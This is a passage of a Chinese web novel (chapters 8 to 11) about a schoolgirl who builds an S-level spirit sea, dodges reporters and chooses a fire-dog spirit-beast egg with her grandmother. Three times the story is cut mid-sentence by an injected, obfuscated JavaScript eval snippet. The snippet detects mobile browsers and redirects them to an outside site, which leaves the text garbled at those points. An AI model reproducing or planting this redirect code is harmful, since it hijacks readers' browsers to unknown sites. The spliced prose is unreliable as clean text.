看不见又摸不着的精神力丝丝缕缕地环绕着赵宴月，又被她灵光一闪一点点编织成了一粒种子。 胚根，胚轴，胚芽，子叶，精细入微，纤毫毕现，构建死物和创造一个生命需要消耗的精神力完全不是一个级别。 这个构造的过程以极快的速度不断消耗着她的精神力，建设地球模型时还游刃有余的精神力此刻竟然显得有些捉襟见肘。 赵宴月能感受到土里的种子有生命的迹象，但是只是拥有一个完整的结构并不能支撑它自主发芽。 失败了？ 赵宴月蹲在地上，盯着脚下平整的土地发呆——难道是种子内部的结构哪里出了问题？ 可是她精神力再多也不能这么消耗，再构建一粒种子能直接把她吸干。 最主要的是她没找到错误到底出在哪个环节，即便再来一次也是一粒一模一样的种子。 若是成功还好，若是不成功她的精神海就只能这个让她不太满意的模样了。 这怎么能行！ 反正是精神力构造出来的东西，既然自己发不了芽，那她就来帮帮它。 赵宴月一不做二不休一巴掌拍在地上，缠绕在身上游走的精神力在某个时刻突然全部被调动了起来，张牙舞爪的精神力一瞬间遮天蔽日，从掌心中统统灌溉进了这颗小小的种子。 蹲着的少女发丝飞扬，而地下还没米粒点大的种子内部仿佛盛了个大海，贪婪地吸收着赵宴月的精神力丝毫不懂得知足。 原本庞大的精神力肉眼可见地急速缩小，那架势就像是要把她吸成干尸。 赵宴月心脏砰砰跳，但她不信这个邪，打定主意一条道走到黑，甚至加快了灌溉的速度。 直到浑身缠绕的精神力都被吸收得干干净净，她恍惚间似乎听到种子发出了微不可闻的破壳声——是幻听吗？ 一片娇嫩的幼叶在她眼前破土而出。 仿佛有什么极为坚硬又极为厚重的壁垒随着被打破，庞大的3D地球模型轰然坍塌，全新的精神海于此刻开始重建。 种子汲取着创世主的精神力开始极快地向上生长，以它为中心周围的一切都像是按了加速键一样进行着演化。 一花一树，一草一木，原本被吸取走精神力以另外的形式回馈出一个充满生机，宛若仙境的精神海。 来不及细看，在精神力被彻底榨干的那一刻，赵宴月就两眼一黑从自己的脑子里掉了线。 “赵宴月，居民序列号xxxxxxxxxx，学号xxxxxxx，精神海已构建完成，等级鉴定为……” 机器的声音卡顿了几秒，甚至发出了滋滋的电流声，而后吐出最终的鉴定结果：“S级。” 【恭喜！构建出S级精神海，向成功人生又迈出了一大步】 【构建出精神海后就可以自由使用精神力了，比纯正的地球人多出了一项感官】 撒因第一时间发来了祝贺，感觉自己的系统核心微微发烫，能量槽也渐渐充盈了一些。 难道这就是“骄傲”的感觉？ 新手系统陷入思考，它细细感受了片刻，立马把问题丢到了九霄云外，回味起了这令统着迷的餍足感。 赵宴月脑子还是晕的，但已经下意识抬了抬下巴：“不是早说了我精神力很强，这都是意料之中的事情。” 【不不不，有些人的精神力或许能支撑起S级精神海的构建，但他们不一定能构建出真正的S级精神海，常常止步A级甚至B级】 【无论如何，你把潜力发挥到了极致，这十分值得祝贺】 【S级精神海！这代表着你会是S级的净化师！成功人生已经自己奔你而来了！】 撒因说着说着，对赵宴月又加深了一层滤镜。 “你很会说话，我会考虑给你加薪的。” 【谢谢】 虽然自己一直是倒贴打工的状态，但撒因很有礼貌。 赵宴月摘下头盔，发现整个大礼堂的学生已经所剩无几，倒是几家媒体之间的气氛已经剑拔弩张了起来。 他们睁大眼睛搜寻着礼堂里还戴着头盔的几十个学生，暗自琢磨哪个才是他们的目标。 鉴定中心的人还在总控室内，刚看完数据出来的校领导全都脚步轻飘飘的，目光隐含激动。 被簇拥着的校长第一时间向台下看去，和刚放下头盔的赵宴月对视了一眼。 他差点脚步一转就要朝台下走来，只不过在强大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421342|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自制力下，他控制住了自己的身体，只对赵宴月小幅度地点了点头。 媒体们一个个人精似的，立马锁定了校长目光所至的这一小片重点区域。 校长在看谁？这一片是不是有学生达到了A级线？ 众所周知，等级越高的精神海需要构建的时间就越长。 记者们的目光快速从赵宴月身上扫过，锁定了她周边为数不多的几个还戴着头盔的学生，像是要从他们身上盯出个洞来。 孟檬还坐在赵宴月隔壁的座位上，见她摘了头盔后便看了过来，只不过眼眶红红的。 她一和赵宴月目光交错，立马吸了吸鼻子。 赵宴月一看就知道要完。 果然，上一秒还默默红着眼睛的孟檬下一秒憋着的眼泪就包不住了，如同开闸泄洪般一滴又一滴地倾斜而下。 “停。”赵宴月被她哭得心烦，“D级以下？” 孟檬哽咽着摇了摇头。 “那就是没到B级？” 孟檬点了点头，抽噎了好一会儿才道：“C级。” C级其实已经是中等偏上的数据，只不过没有达到孟檬的心理预期。 除去占比50%的不能契约灵兽的E级和F级精神海，大约28%的人都是D级，17%的人是C级，5%的B级，A和S级可以直接忽略不计。 也就是说即便是C级精神海，在十个人里已经比八个人都强了。 “如果是D级我就认命了，如果是B级我就逆天改命了，可它偏偏是个C呜呜呜呜……” “行了行了，等我有钱了，我就买个有完整进化链的灵兽蛋送你。” 孟檬的哭声戛然而止，眨着一双湿润的小鹿眼看着她，厚着脸皮问道：“那你什么时候有钱？” 习惯性画饼的赵宴月垂下眼眸和她对视了一眼，感觉自己遇到了对手。 还在场的几十个同学都陆陆续续摘下了头盔，等所有人的数据都出炉，鉴定中心将整理出来的学生信息上传到居民信息库，然后又全部转交给了校方。 工作人员们一走出总控室就遇到了来自记者徐回的询问，试图从他们口中打听出关于神秘A级的消息。 他们内部如何震撼今天看到的数据不说，对外关于学生的数据却是闭口不提。 总指挥淡声道：“关于高三年级整体的数据，校方马上就会向媒体公布，至于学生的个人信息是他们的隐私，愿不愿意公布也是他们自己的事，我们没有权利透露。” 徐回闻言一愣，他左右看了看，这才发现只有他一个愣头青跑来找鉴定中心要消息。 那些之前还和他说说笑笑的老油条同行们早就找上了学生本人。 在场就这么五六十个学生，能留到现在的学生精神海等级都不低，这种光宗耀祖的事情也没人会藏着掖着，打听个消息并不是什么很难的事。 新闻就是要快、真、准，抢先一步是一步，谁最先找到神秘A同学头条就是谁的，而他已经慢人一步。 意识到这一点的徐回急得上火，但立刻又告诉自己先冷静下来。 有些学生是已经被那些老油条们问过的，他隐隐约约都有印象，没必要着急忙慌再去问一遍。 好消息是目前A同学还没有被发现，更好的消息是没被问过的学生也不多了。 他仔细打量了一圈，发现校长之前看过去的重点区域里还有两个学生坐在座位上聊天，属于无人问津的状态。 正眼泪汪汪的那个女孩中途就摘了头盔，但没有和其他学生一样直接离场，应该是在等待旁边的同伴。 而她的同伴虽然比她要稍晚一步，但是按照时间来看应该也在C到B的区间，比她晚的人还有很多，并不太符合构建A级精神海的普遍时间标准。 她此时正撑着下巴听着朋友的哭诉，身上散发出一种很不好惹的千金大小姐的气势。 徐回犹豫了片刻，还是走了过去。 9. 第 9 章 “你好，我是绿野日报的记者徐回，能问一下你们的精神海等级吗？” 孟檬见有人来，连忙止住了眼泪，只不过声音有气无力：“C。” 她刚说完，这才意识到自己只顾着找赵宴月哭哭去了，都没问她的精神海等级。 对上两人如出一辙的好奇又忐忑的目光，赵宴月风轻云淡道：“S级。” 孟檬：“……” 又整这死出。 徐回也沉默了片刻，怀疑之前自己说过的话就像回旋镖一样扎回了自己的身上。 他当时和对家报社记者幻想会不会出一个S级直接上明珠区的新闻，而他拿奖金拿到手软……于是得到了吃眩晕菇吃中毒了的评价。 幻想可以天马行空，现实里真面对这个回答，徐回第一反应也不是幻想成真，更觉得她是在满嘴跑火车。 本着记者的职业素养，徐回面不改色地礼貌问道：“好的，请问可以出示一下光脑上的精神海等级信息吗？” 光脑绑定居民个人芯片，鉴定中心的数据一上传回数据库就会刷新，按照新闻准确真实的原则，徐回试图小心翼翼地进行求证。 如果她确实是S级，或者是A级，应该都会乐于展示。 “不信拉倒。” 坐在座椅上的少□□雅地站起了身，完全没有给他展示个人信息的意思。 徐回：“……” 他就说这个女生看起来就很拒人千里，果然事实也并没有比他想象的好到哪儿去。 谁能告诉他这种情况该怎么办。 赵宴月没有给他思考出对策的时间，拖着身上的挂件出了大礼堂。 徐回目送她走远，对着她的背影盯了好一会儿，纠结之下还是没有追上去。 一来按照时间来算她确实不太符合构建出A级精神海的标准，而且也不肯让他进行确认，二来在场还有其他同学，隐藏的A级或许会在这些人里面。 赵宴月按照来时的路往悬浮公交站走去，挂件也叽叽喳喳地发出聒噪的声音。 “你精神海等级到底是多少？” “比我晚一点的话应该是C或者B？” “总不能是A吧！” 见赵宴月一直不搭理她，孟檬停住了脚步，顿时让赵宴月也被迫停了下来。 她狐疑地看着身边的少女，大声道：“是S级我吃xx！” 赵宴月简直匪夷所思，她明明早就宣布了答案，偏偏根本没人信，于是也恼火地大声道：“又没人拦着你，想吃就吃！拿我当什么借口？” “我不信！” “不信拉倒！”看在当了十天邻居的面子上，赵宴月纡尊降贵地重复了一遍：“没骗你，就是S级。” 孟檬这下真的相信了，同时整个人也突然变得安静了下来。 她松开了扒在赵宴月胳膊上的手，沉默地和她坐上了悬浮公交，一路上都没有再说话。 身边的人一下子转了性，让赵宴月有点不习惯。 她难得主动戳了戳孟檬的手臂，询问道：“你怎么不说话？” “我说什么？” 孟檬低着头，温热的眼泪又不受控制地溢出眼眶，一滴又一滴地砸在裤子上，将并不柔软的布料浸湿成更深的颜色。 赵宴月以为她还在难过精神海等级没有到B级的事，见孟檬这么伤心，她犹豫了好一会儿才说道：“不就是有完整进化链的灵兽吗，大不了我偷一只幼火犬给你好了。” 这句话就像是戳到了什么更隐秘的痛点，让孟檬的情绪忽然爆发：“我不需要！” 她猛地拍开赵宴月的手站了起来，换到了更远处的空座上坐下，浑身上下都透露出一种要划清界限的味道。 赵宴月从小到大哪受过这种气，她看着自己被拍红的手背，根本不知道孟檬在发什么疯。 想了想，她还是臭着脸问起了撒因：“她到底怎么了？” 撒因思考良久，自信地得出了结论。 【可能她不喜欢幼火犬吧，有句地球话说得好，送人礼物要送到对方的心趴上】 虽然总觉得有哪里不对，但是对于撒因说孟檬可能不喜欢幼火犬这件事，赵宴月立马“啧”了一声，嫌弃道：“没品！” 灵兽商业街离绿野一中并不远，赵宴月比孟檬早几站下车。 下车之前，赵宴月决定大人有大量地问问孟檬到底喜欢什么灵兽，结果刚一对上孟檬的视线，她就立马偏过了头，展示出不想和她说话的态度。 赵宴月一双狐狸眼里也唰地亮起两簇小火苗，步履很重地“噔噔噔”下了车。 她才不受这破气。 刚踏进家门，一直待在窗边的小五就走过来蹭了蹭赵宴月的腿，抬起一双绿莹莹的眼睛看向她，小小地“吱唔”了几声。 其他几只幼火犬和她也混熟了，跑过来围着她转了几圈，又被老大带着到处疯玩，只有小五跟在赵宴月的脚后形影不离的，很是黏人。 店里的幼火犬少了一只，应该是在她去学校的时候被人买走了。 赵宴月兴致不高，把小五拎起来抱在怀里撸了撸，还在想孟檬的事。 坐在收银台后面的许奶奶已经惴惴不安了一上午，赵宴月一进门就观察起了她的神色，见状心里也有了底。 她轻轻叹了一口气，站起身迎了上去，语气平和地哄道：“奶奶的精神海等级也只有E级，我和你爷爷其实都觉得当个普通人就很好。” “嗯？”赵宴月摸着小五的头疑惑道：“为什么？” 见她和小五玩得好，许奶奶斟酌着说道：“就比如幼火犬，得等它进化成烈焰犬后才能激活天赋技能，契约了也只能用它的技能喷喷火，都什么时代了，要点火多的是打火机对不对？再说就算不契约，也可以把小五留在家里给我们月月当个伴。” 赵宴月被这一段话说懵了，大受打击道：“我不能契约小五吗？” 小五听到自己的名字也歪了歪头，支棱起毛茸茸的耳朵。 情商很高的老人火速意识到两人的交流可能哪里出现了信息不对称的问题，她试探着反问道：“你能契约小五吗？” 楼上传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421343|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来老爷子一惊一乍的声音，打破了祖孙俩互相狐疑的对视。 “嚯！你快来看，媒体发布绿野一中今年精神海D级及以上的学生有581个，比去年多出了快30个人，结果一个A都没有！你猜怎么着？出了两个S级！” 见许奶奶半天没回他，许爷爷嘀嘀咕咕着下了楼来找人。 “新闻一发出来直接挂上天市星域星网热搜的尾巴了，绿野一中不就是月月的学校吗？这两个S级里面不会有我们家月……” 站在门口的赵宴月和她怀里的小五齐刷刷朝他看了过去，老爷子的声音戛然而止。 许奶奶埋怨道：“一天天的净胡说八道，月月别理他。” 赵宴月清了清嗓子，翘着尾巴矜持回应：“没错，确实有我。” 此话一出，两个老人愣了好一会儿，许奶奶率先消化完她这轻飘飘的一句话，整个人又惊又喜道：“S级？太厉害了乖崽！” 老爷子看见新闻也就是随口一说，哪成想赵宴月真就直接承认了。 虽然是他先提出来的玩笑话，结果真成真了他反倒更加不可置信，半天没回过神来。 愣在原地好一会儿，老爷子这才压住嘴角的笑意，严肃道：“比许奕强，你爹才是个A。” 他来回踱步了几圈，然后忽然一拍手：“今天就不要让家务机器人做饭了，我来给你们露一手。” 许奶奶人逢喜事精神爽，语气也和风细雨：“还是别露了，你做的饭真挺难吃的。” 两老这反应直接给赵宴月哄得找不着北了，原本还略显矜持的赵宴月一双眼睛都被夸得眯了起来，把许奶奶稀罕得不行。 她又想起爷爷刚说的星网热搜的事，立马打开了光脑，查阅起了天市星今天的热搜新闻。 “天市星各大中学一年一度的精神海鉴定测试已落幕，恭喜玻娅区今年以4名S级的惊人数量夺得36区魁首！” 网友热评：“玻娅区今年运势不错，打算过去投资看看。” “震惊！荒北区今年再次挂零，这究竟是离奇的意外还是有某种不为人知的原因！” 网友热评：“神经，荒北区才两千万人不到，挂零有什么好稀奇的。” “明珠区两位神秘S同学至今尚未露面接受采访！两人竟是同一座城市同一所高中的同学！” 网友热评：“这么神秘？那很坏了。” “报！由将领级虫族带领的虫潮已抵达紫微星附属编号星Z-21，战争一触即发！” 网友热评：“虽然隔三差五就要打一次，但我总感觉虫族的进攻越来越频繁了。” “落泪！天市星今年S级学生总数为63人，平均每区1.75人，再次被隔壁紫薇、太微两星踩在脚下！” 网友热评：“气晕！希望六月六号净化天赋检测仪式反败为胜！干翻两微，天市必胜！” “202届天市星61位S级学生采访大全合集已出炉！速来围观！” 网友热评：“这不还差俩吗，人齐了再端上桌@明珠新闻，你们区的效率呢？” 10. 第 10 章 今天去绿野一中采访的记者有一个算一个全都被各自报社的上司骂了。 原本以为今年绿野一中没有出A级学生，直到校方向媒体公布数据之后，他们才知道两个S级学生的采访全都从手中溜走。 真是天上掉馅饼都捡不住！ 徐回满心懊恼，上司骂的这话或许带有夸张的成分，只有他自己知道这馅饼他是真没捞着。 明明一开始在脑子里幻想得那么好，现实真按他的剧本发生了，偏偏他根本不敢信。 既然人家都说了自己是S级，他直接顺着这个噱头采访了多好。 不给看个人信息又有什么关系，只要写上“据某某同学自述”，到时候校方公布的数据一出来，是对是错自有分辨。 对了他拿奖金，错了是“自述”，和他一个采访的又有什么关系。 徐回在脑子里疯狂复盘，气自己当时没有发挥好，恨不得让时间倒流回上午。 年近半百的上司坐在书桌后，喝口茶平了平肝火，看着徐回叹气道：“本来只是个小采访，谁能想到绿野一中今年烧高香出了两个S级！要不然我肯定不会把活派给你这个新来的，真是悔得我肠子都青了！” “不过这事倒也不怪你。”喜怒无常的上司转眼就平静了下来，甚至摸着下巴笑出了声：“好在这两人都神神秘秘的，其他报社也没找到人。” “我这倒是有点消息，上面的领导已经在催了，得抓紧时间把采访做了才行……”上司低声喃喃，他抬头朝徐回一挥手，吩咐道：“去把段瑞成给我叫过来。” 徐回一听就知道采访S级同学的活要被分配给别人，之前没抓住机会，现在采访的事和他一个新人八竿子都打不着。 初春午后的阳光温暖又舒适，赵宴月主动接过了看店的任务，像个网瘾少女似的躺在收银台后的躺椅上沉迷星网。 幼火犬们在隔壁的幼火犬专属房间里追逐打闹，只有小五溜了出来，正趴在她的椅子边晒太阳。 它蓬松的大尾巴时不时就摇一下，显得很是惬意。 赵宴月刷着星网上61个S级同学的采访合集，看着底下的评论笑哈哈。 “总结：现在坚定选择斯伦军校的S级学生有16个，兰柏林学生13个，兰柏林目前显露出了一点颓势。” “这加起来才29个，还有一半多的学生都说还在两个军校之间考虑呢，斯伦别半场开香槟。” “要说起来紫薇星的法温莎军校，太微星的西廷尔军校都是他们星球名副其实的TOP1，也就我们天市星这两所军校年年对打，现在也没分出个真正的TOP1。” “紫微星的法温莎军校在整个三垣星系都是当之无愧的TOP1，太微星的西廷尔也是万年老二了，斯伦和兰柏林即便打赢了对方也只能荣获第三，有什么好争的。” “不争第一难道是因为斯伦和兰柏林不想吗？” “允悲！我们天市星到底什么时候才能摆脱小老三的恶名，现在联邦军校联赛都没人押注了，年年都是法温莎夺冠。” “兰柏林的学生路过被踹，干嘛总是这么水灵灵地净说些让人想去死的话。” “纠正一下，整个三垣星系的荣誉TOP1是圣芙尔净化学院，准确来说以上所有军校的排名都要往后挪一位。” “如果圣芙尔学院的殿下们也参与联邦军校联赛……那我就可以看见许清雪殿下了！” “楼上想屁吃？联邦军校联赛的比赛场地里可是有虫族的，你的意思是让尊贵的殿下们直面虫族？？？” “楼上确实在想屁吃，看着像是反社会分子。” “无法反驳。” “无法反驳＋1” “＋10086” “等等，我不是这个意思！” “月月，我要去灵兽孵育中心一趟，你要不要一起去？”许奶奶从楼上走了下来问道。 赵宴月停止10G冲浪，从躺椅上蹭地坐了起来：“要去！” “行，让你爷爷下来看店。” 幼火犬灵兽店距离灵兽孵育中心很近，许奶奶也没开飞行器，带着赵宴月直接走了过去。 整个灵兽商业街的区域平时就相当繁忙又热闹，更别说今天上午高三学生的精神海等级鉴定仪式刚结束，许许多多的家长带着早就迫不及待的学生们来了商业街，让他们挑选自己中意的灵兽。 一个学期的时间也足够绝大多数同学和灵兽培养出感情，在大学开学之前完成契约，成为真正的契约者。 灵兽孵育中心里人潮涌动，导购员见到许奶奶立马笑着迎了上来：“许奶奶，今天也是来买幼火犬灵兽蛋的吗？” “对。”许奶奶说完偏过头看向赵宴月：“平时我和你爷爷也没太多精力，店里只养了五只幼火犬，小三卖出去之后店里看着就更冷清了点，我们今天买一个灵兽蛋回去。” 赵宴月正打量着科幻感十足的灵兽孵育中心，见导购员和许奶奶很是熟稔，好奇道：“商业街里的灵兽店都是从孵育中心进的货吗？” 导购员笑着解释道：“绝大部分都是，我们孵育中心只卖灵兽蛋不卖活体灵兽，和卖活体灵兽的灵兽店算是相辅相成嘛，毕竟契约一只灵兽就是一辈子的事，得契约双方都看对眼才行，所以即便直接买灵兽蛋要便宜很多，只要经济条件允许，契约者们基本都不会来我们这买蛋。” 赵宴月点点头表示了解。 灵兽孵育中心的幼火犬灵兽蛋标价20w星币一只，但许奶奶店里价格最低的一到三阶幼火犬售价都在22w，七阶幼火犬的官方售价更是高达35w星币。 据说灵兽每个形态只要达到三阶就能够进行进化，但是不管是幼生态、进化态还是终极态，每个阶段的等阶上限都是七阶，这也是七阶幼火犬价格几乎比灵兽蛋翻了一倍的原因之一。 星际人民默认拥有D级精神海才能契约灵兽，就是因为D级精神海提供的精神力最多让灵兽升到三阶，达到可以进化的最低标准。 C级精神海能让灵兽最多进化到四阶，B级五阶，A级六阶，S级七阶，七阶就达到了灵兽一个阶段的阶级上限。 如果灵兽从蛋里孵出来就是七阶，那至少幼生态阶段不会再受契约者精神海等级的影响，到达进化态后则另说。 “这里就是幼火犬灵兽蛋的孵育舱。” 导购员将许奶奶和赵宴月带到了写着“幼火犬孵育区”的舱室中，指着舱室中间的超级放大版豪华蛋架介绍道：“这一批幼火犬灵兽蛋都是猎人公会刚送到孵育中心没多久的，数量很多，可以尽情挑选哦。” 幼火犬孵育区的舱室里温度很高，还放着曲调悠扬的轻音乐，像是在做胎教。 每个幼火犬灵兽蛋差不多都有篮球那么大，带着红白条纹的蛋壳被擦得锃光发亮，蛋下面还垫着柔软的羊毛毯。 毕竟是价值20w的蛋，有这个待遇也是应该的。 导购员操作着关闭了蛋架上方的能量罩，提议道：“可以摸摸它们的壳感受一下。” 许奶奶早就过了喜欢开盲盒的年纪，朝赵宴月笑眯眯地提议道：“月月去摸摸看？哪个手感好我们就买哪个。” 这里的一切对赵宴月来说都相当新奇，她看着不声不响的，其实一双狐狸眼都睁成了圆眼，闻言更是跃跃欲试道：“好诶！那我来挑。” 红白条纹的灵兽蛋传来温热的触感，赵宴月一个一个摸过去，每个蛋的手感不能说是大差不差，只能说是一模一样。 摸着摸着赵宴月灵机一动，想起自己上午构建好了精神海，这代表着她现在已经可以调动精神力。 摸不出来的东西能用精神力感应到吗？ 心念一动，无影无形的精神力便如同凌乱的丝线般缠绕在她身体周围，明明是无风的封闭环境，少女的长发却微微漂浮了起来。 导购员对此见怪不怪，几乎每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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漂浮的发丝重新被引力拉着坠落了下去，赵宴月伸手一指，十分熟练地对许奶奶画饼道：“就这个，看我给奶奶挑一个潜力蛋回去。” 她选蛋的速度很快，导购员对此乐见其成，看向许奶奶询问道：“决定是这个了吗？” “包起来吧。”许奶奶毫不犹豫，她都说了让月月去选，自然是她说哪个就哪个。 “好嘞！晚点给你们送到店里，地址是210号对吧。” 导购员在赵宴月指的灵兽蛋上做了个标记，然后领着两人去大厅的收银台结账，路上细心提醒道：“带回去后记得每天用精神力孵蛋，不孵的话蛋里的灵兽会停止生长哦，一般3-7天的时间就能破壳。” 赵宴月现在正是对使用精神力很是新鲜的时候，直接揽过了这个活，而后又想起了什么似的突然问道：“对了，孵育中心有黑帽猫灵兽蛋吗？” “有的，不过黑帽猫目前是连进化态都没被发现的灵兽，灵兽蛋的售价是5w星币。” 导购员见她对黑帽猫感兴趣，便又多说了几句：“这个价格在完全没有进化链的灵兽中算很高的，其他有进化态但是还没发现终极态的灵兽蛋售价也就在5-10w星币之间，这一类灵兽好歹已经能觉醒天赋技能，所以如果不是特别喜欢黑帽猫的话，还是考虑契约其他灵兽比较好。” 许奶奶以为赵宴月想契约黑帽猫，已经拜倒在了黑帽猫的帽檐之下，连忙附和道：“现在也不急着契约灵兽，离上大学还有好几个月的时间呢，就是上了大学再契约也不急，可以慢慢挑。” 她向来觉得契约灵兽只要灵兽和契约者能看对眼就好，不管是非攻击类灵兽还是攻击类灵兽都行，但前提是拥有完整的进化链。 黑帽猫别说完整的进化链了，就连进化态都没还被发现，进化材料成谜，契约了就是S级精神海也不管用。 赵宴月连忙解释：“我就问问嘛，我可是要契约小五的。” 虽然进化图鉴说要契约黑帽猫才能解锁黑帽猫的进化链，虽然发表黑帽猫的进化链可以赚数不清的星币。 但是不巧，对赵宴月来说，星币和她的意愿比起来一文不值。 11. 第 11 章 “你好，一共是20w星币。” 孵育中心的大厅里人声嘈杂，大家都挤作一团，不知道在看什么热闹。 在许奶奶结账的功夫，赵宴月探头探脑地往人群中心看，收银员见状笑着解释道：“那边是休息区，好多报社的记者都在采访我们少东家。” 后面等着结账的顾客们一听这话，立马找到了话题的切入点，你一言我一语地聊了起来。 “我们绿野城终于出了S级精神海的学生，还一下子出了两个！也算是扬眉吐气了。” “是啊是啊，今年绿野城的房价都得涨好几个百分点，人杰地灵嘛！” “明年我闺女也要上高中了，得想办法把她送绿野一中去。” “那可不，我们城里十几所高中呢，偏偏这两个S级学生全是绿野一中的，这学校指定有点说法。” 赵宴月没有参与讨论，看向收银员好奇道：“那他在学校的时候怎么不接受采访？” “啊这。” 收银员干笑一声，突然感到了一种拿不出手的尴尬：“少东家说在学校接受采访划不来。” 热烈讨论的顾客们立马被这一句话吸引了注意力，很有求知精神地问道：“划不来是什么意思？” 不等收银员回答，记者的提问声恰好传到耳边：“宋幼安同学你好，作为明珠区今年唯二的S级，你有什么想说的吗？” 清冽的男声抑扬顿挫地回答：“对此我想说的是，欢迎大家来灵兽孵育中心选购灵兽蛋，孵育中心环境一流，种类齐全，价格合理，品质保证。” 收银员：“……划不来的意思就是他要打广告。” 顾客：“……” 赵宴月：“……” 许奶奶笑眯眯：“是个有趣的小朋友。” 听到许奶奶夸人，赵宴月眨了眨眼，又踮着脚往采访区看去。 “宋同学未来想考哪所大学呢？请问已经有规划了吗？” “暂时还没有确定，不过目前的规划是将灵兽孵育中心开到隔壁星。” “听说五年前宋同学就临时构建精神海契约了善鳄龟，请问是真的吗？” “是的。” 段瑞成抓住爆点，立马将下一个问题抛了出来：“善鳄龟是还没有被发现进化链的灵兽，请问宋同学在知道自己精神海等级达到了S级时，有曾对这个选择感到过后悔吗？” 人群闻言立马发出一阵激烈的讨论声，显然被这个消息震惊得不轻。 面容精致的男生坐在沙发上微微偏头，看向段瑞成悠悠道：“五年前我临时构建的精神海也到了A级，这个等级不算低吧？那时候我就契约了善鳄龟，现在自然也不会后悔。” “宋同学为什么会这么坚定地选择善鳄龟？只是因为这是宋家祖传的灵兽吗？” “不不不。”宋幼安坐直身子，伸出食指摇了摇，“应该说善鳄龟愿意一直和宋家的血脉建立契约是我们的荣幸。” 他似是认真又似是开玩笑道：“善鳄龟主水，水能聚财，代表着财源滚滚来，不瞒你说，我们宋家就是在第一任家主契约了善鳄龟后才开始发家致富。” “……好的，请问关于和宋同学同校的另一位S级同学，你对她有什么看法吗？” “在我这可打听不到消息，我也不清楚另一位同学是谁。” 心思被戳破，段瑞成沉默了一会儿，耳边却忽然响起徐回惊喜的声音：“找到了！” 他闻声看去，只见刚还在他旁边充当拍摄助理的徐回此时已经火急火燎地穿过了人群，直直奔向孵育中心的大门口。 虽然不知道徐回说的找到了到底是找到了什么东西，但是看着徐回离开的背影，段瑞成狠狠地皱了皱眉。 采访是实时直播的，徐回一走他的电蝇蛾也跟着走了，相当于直接少了一个拍摄视角。 新人就是毛毛躁躁。 才耽搁一会儿的功夫，其他报社的记者已经揪着空接二连三地抛出了问题，段瑞成也不再管徐回，重新投入到了工作中。 徐回也不是故意罢工的，但他看见了赵宴月哪还坐得住，这可是上司那里都没消息的另一位神秘S级！ 原本以为错过了就回天乏术，现在他只想说踏破铁鞋无觅处，得来全不费工夫。 为了防止目标人物一转眼就隐入人群中消失不见，他都来不及和段瑞成打声招呼便直接追了上去。 “同学！” 赵宴月停下脚步，打量了一番拦在自己面前的人：“是你啊。” 徐回顺了顺气，先对着她旁边的许奶奶问了声好，然后才急忙道：“可以给你做个采访吗？只有几个小问题，不会耽误多长时间。” “可以，边走边问吧。” 她同意得很随意，徐回都有点受宠若惊了，他莫名感觉现在的赵宴月看起来比上午要好说话一些。 不知道是不是家长在旁边的原因，反正对他来说绝对是件好事，思及此他不由朝许奶奶投递了一个感激的眼神，得到了对方不明所以但不失礼貌的微笑。 获得采访许可后，徐回便启用了电蝇蛾的天赋技能，他的眼睛里闪过一丝电流，所有看到的画面第一时间直播到了大众视野。 “那我开始了。” 徐回清了清嗓子，这才有些紧张地问道：“同学，请问你未来会契约机甲战宠，考入机甲尖兵系吗？” 赵宴月才刚看过“采访合集”没多久，知道这个问题对绝大部分S级同学来说相当于开场打个招呼，只需要回答个“对”就可以了。 可惜她不是本地人，对契约“强大的机甲战宠”这件事并不十分感兴趣，更别说小五也不是机甲战宠。 “不……” 刚想回句“不会”，话已经到了嘴边却没有说出口——作为星网10G冲浪选手，赵宴月电光火石间突然意识到这句话说出来会相当麻烦。 在整个三垣星系，每一个拥有S级精神海的契约者都会契约机甲战宠，努力成为S级机甲尖兵。 S级机甲尖兵是抵御高等虫族的核心力量，更是维持普通人安稳生活的一道极为重要的防线，人们十分狂热地崇拜每一个S级机甲尖兵。 爱之深责之切，如果拥有S级精神海却不契约机甲战宠，除非是有某种不可抗拒的特殊原因，不然在人们的眼中无异于逃兵。 赵宴月作为来自地球的外星人，没接受过主流观念的洗礼，根本没有这种S级精神海就一定要当机甲尖兵的观念。 鬼知道她看见作为灵兽的极影蜈蚣都想原地去世，更别说听着就令人头皮发麻的“虫族”。 即便对虫族尚不了解，但这两个字让她的脑海中立马浮现出了……封闭的小屋，密密麻麻的巨型飞天大蟑螂，和一个绝望的人类。 面对徐回还在等待她回答的期待目光，赵宴月将脑海里的画面叠巴叠巴塞进碎纸机，接上了自己的上句话：“不方便透露，下一个问题。” 又来了。 那种不好惹的气势又来了。 徐回以为这种明知故问的问题令她感到了无聊，担心她下一秒就会撂担子拒绝采访，连忙接着问：“……那请问你有考虑过未来考入哪一所军校吗？” “没有。” “如果兰柏林军校和斯伦军校二选一，你觉得自己对哪一所会更有好感呢？” “都行。” 徐回：“……” 她好像配合了，好像又没有。 徐回改变策略，放弃了选择题，给出了一道问答题：“那关于构建出了S级精神海，你有什么感想吗？” 赵宴月停下了脚步，徐回顿时如临大敌。 实不相瞒，现在她的一举一动都让徐回草木皆兵。 